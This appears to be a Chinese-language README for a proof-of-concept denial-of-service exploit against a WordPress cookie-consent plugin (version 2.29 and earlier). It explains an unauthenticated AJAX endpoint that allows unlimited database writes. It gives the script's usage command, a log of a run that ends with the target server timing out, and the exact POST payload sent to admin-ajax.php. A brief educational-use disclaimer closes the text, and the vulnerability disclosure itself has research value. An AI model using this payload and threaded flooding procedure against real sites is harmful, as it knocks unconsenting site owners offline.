jonkastonka Cookies 与内容安全策略插件 2.29 及之前版本的 AJAX 端点功能中存在不正确的访问控制,远程攻击者可通过向 wp_ajax_nopriv_cacsp_insert_consent_data 端点执行无限制的数据库写入操作,导致拒绝服务(数据库服务器资源耗尽)。
该漏洞存在于 cacsp_insert_consent_data() 函数中,该函数通过 WordPress 的 AJAX 端点(wp-admin/admin-ajax.php)暴露,且无需身份验证。该插件使用了 wp_ajax_nopriv_ 操作,使其可被未认证用户访问。
攻击向量: 远程攻击者可以发送无限制的并发 POST 请求,以大量写入操作压垮数据库服务器,导致 CPU 和磁盘 I/O 耗尽。
requestsmatplotlibthreadingPoC 脚本的基本用法如下:
python payload.py --target <target_url> --threads <number_of_threads>
默认情况下,线程数设置为 100。您可以通过将其作为第二个参数提供来指定不同的线程数。

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
该漏洞利用程序向 /wp-admin/admin-ajax.php 发送 POST 请求,请求数据如下:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
每个成功的请求都会插入一条新的数据库记录,包含:
结果: 每个请求约 89 字节 × 无限制的请求数 = 数据库快速增长
本 PoC 仅供教育目的使用。作者不对因使用此代码而造成的任何滥用或损害负责。在对任何系统进行测试之前,请务必获得授权。